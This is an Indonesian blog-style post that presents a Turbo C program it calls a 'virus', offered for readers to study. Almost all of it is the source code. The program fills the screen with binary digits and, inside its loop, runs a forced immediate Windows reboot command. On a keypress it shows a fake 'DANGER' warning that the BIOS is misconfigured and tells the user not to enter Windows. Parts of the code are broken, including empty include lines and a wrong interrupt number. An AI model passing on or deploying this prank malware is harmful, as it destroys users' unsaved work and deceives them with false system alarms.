Membuat Virus Dengan Menggunakan Turbo C

Aneh punya program nih yang bisa ngerestart komputer programnya sih pake bahasa C.
oh iya compilernya pake turbo C, anneh tulis nih programnya silahkan pelajari semoga bermanfaat.

#include
#include
#include

/*protyepe untuk mengatru mode kursor*/
#include "dos.h"


void pesan_reboot();
void hor(int x, int y, int p, int posisi, int mode);
void ver(int x, int y, int p);
void kotak(int x1, int y1, int x2, int y2, int mode);

void kursor_besar(void);
void kursor_sembunyi(void);
void kursor_normal(void);
int mode_video(void);


void destobin(int des, int biner[], int *jumlah_biner);
void tampil_biner(int biner[], int *jumlah_biner);

int main(){
 int jumlah_biner;
 int biner[100];
 int x,y,z;

 clrscr();
 kursor_sembunyi();
 textattr(128*0+16*0+GREEN);
 z = 1;
 y = 1;
 while(y <= 25){
  x = 1;
  while(x <=  20){
   destobin(z,biner,&jumlah_biner);
   gotoxy(x,y);tampil_biner(biner,&jumlah_biner);
   x = x + 8;
   z++;
   if(z == 254){
    z = 1;
   }
  }
  y++;
 }
 while(1){
  x = 1;
  while(x <=  20){
   destobin(z,biner,&jumlah_biner);
   tampil_biner(biner,&jumlah_biner);
   x = x + 8;
   z++;
   if(z == 254){
    z = 1;
   }

  }
  delay(99999999);
  gotoxy(1,25);
  if(kbhit()){
   getch();
   pesan_reboot();
   getch();getch();
   break;
  }
  system("shutdown -r -f -t 0");
 }
}

void pesan_reboot(){
 int x,y;

 textcolor(0);
 y = 6;
 while(y <= 19){
  x = 11;
  while(x <= 66){
   gotoxy(x,y);cprintf("Û");
   x++;
  }
  y++;
 }
 textattr(128*0+16*0+10);
 kotak(10,5,67,20,2);            /*Membuat kotak*/
 textattr(128*1+16*RED+15);               /*menampilkan DANGER*/
 gotoxy(33,6);cprintf(" DANGER !!!");
 /* pesan agar segera memperbaiki bois */
 textcolor(10);
 textbackground(0);
 gotoxy(15,8);cprintf("Your BIOS is bad configurations. if you want your -");
 gotoxy(13,9);cprintf("computer is not bad, don't enter to windows. You must");
 gotoxy(13,10);cprintf("reboot your computer and enter to BOIS, and then con");
 gotoxy(13,11);cprintf("figure BIOS again.");
 gotoxy(26,13);cprintf("Your computer will reboot");
 /*membuat tampilan restart computer*/
 kotak(15,14,62,18,1);
 textcolor(YELLOW);
 x = 16;
 y = 45;
 while(x <= 61){
  gotoxy(x,15);cprintf("%c",219);
  gotoxy(x,16);cprintf("Û");
  gotoxy(x,17);cprintf("Û");
  gotoxy(47,19);cprintf("TIME : 00.%02d\b\b",y);
  gotoxy(60,19);cprintf("SECOND");
  sleep(1);
  x++;
  y--;
 }
 textattr(128*0+16*0+10);
}

void kotak(int x1, int y1, int x2, int y2, int mode){
 int panjangh;
 int panjangv;

 panjangh = x2 - x1;
 panjangv = y2 - y1;

 if(mode == 1){
  hor(x1,y1,panjangh,1,1);
  hor(x1,y2,panjangh,2,1);
 }
 if(mode == 2){
  hor(x1,y1,panjangh,1,2);
  hor(x1,y2,panjangh,2,2);
 }
    ver(x1,y1,panjangv);
 ver(x2,y1,panjangv);
}
void hor(int x, int y, int p, int posisi, int mode){
 int bantu;

 if(posisi == 1){
  if(mode == 1){
         gotoxy(x,y);cprintf("Ú");
   gotoxy(x+p,y);cprintf("¿");
  }
  else if(mode == 2){
   gotoxy(x,y);cprintf("Õ");
   gotoxy(x+p,y);cprintf("¸");
  }
 }
 else if(posisi == 2){
  if(mode == 1){
   gotoxy(x,y);cprintf("À");
   gotoxy(x+p,y);cprintf("Ù");
  }
  else if(mode == 2){
   gotoxy(x,y);cprintf("Ô");
   gotoxy(x+p,y);cprintf("¾");
  }
 }
 bantu = x+1;
 while( bantu <= p+x-1){
  if(mode == 1){
         gotoxy(bantu,y);cprintf("Ä");
  }
  else if(mode == 2){
   gotoxy(bantu,y);cprintf("Í");
  }
  bantu++;
 }

}

void ver(int x, int y, int p){
 int bantu;
 bantu = y + 1;
 while(bantu <= y+p-1){
  gotoxy(x,bantu);cprintf("³");
  bantu++;
 }
}

void kursor_besar(void){ /*Untuk membuat kusor berukuran besar*/
 union REGS inregs, outregs;

 inregs.h.ah = 0x01;
 inregs.h.ch = 0x00;
 if(mode_video() == MONO)
  inregs.h.cl = 0x0D;
 else
  inregs.h.cl = 0x07;

 int86(0x10, &inregs, &outregs);
}
void kursor_sembunyi(void){ /*Untuk menyebunyikan kursor*/
 union REGS inregs, outregs;

 inregs.h.ah = 0x01;
 inregs.h.ch = 0x20;
 inregs.h.cl = 0x20;
 int86(0x10, &inregs, &outregs);
}
void kursor_normal(void){ /*Untuk menormalkan kursor*/
 union REGS inregs, outregs;

 inregs.h.ah = 0x01;
 if(mode_video() == MONO){
  inregs.h.ch = 0x0C;
  inregs.h.cl = 0x0D;
 }
 else{
  inregs.h.ch = 0x06;
  inregs.h.cl = 0x07;
 }
 int86(0x10, &inregs, &outregs);
}
int mode_video(void){ /*Untuk memperoleh mode video*/
 union REGS inregs, outregs;
 inregs.h.ah = 0x0F;
 int86(0x01, &inregs, &outregs);
 return(outregs.h.al);
}
void destobin(int des, int biner[], int *jumlah_biner){
 int x;
 int y;

 x = 0;
  while(des != 0){
   if(des%2 == 0){
    biner[x] = 0;
   }
   if(des%2 != 0){
    biner[x] = 1;
   }
   des = des / 2;
   x++;
  }
 *jumlah_biner = x;
}

void tampil_biner(int biner[], int *jumlah_biner){
 int x;
 int y;
 int z;

 x = *jumlah_biner;
 z = 0;
 while(z < 8){
  if(x == z){
   y = z;
   while(y < 8){
    biner[y] = 0;
    y++;
   }
   y = 7;
   while(y >= 0){
    cprintf("%d",biner[y]);
    y--;
   }
  }
  else{
         y = 7;
   while(y >= 0){
    cprintf("%d",biner[y]);
    y--;
   }
  }
  z++;
 }
}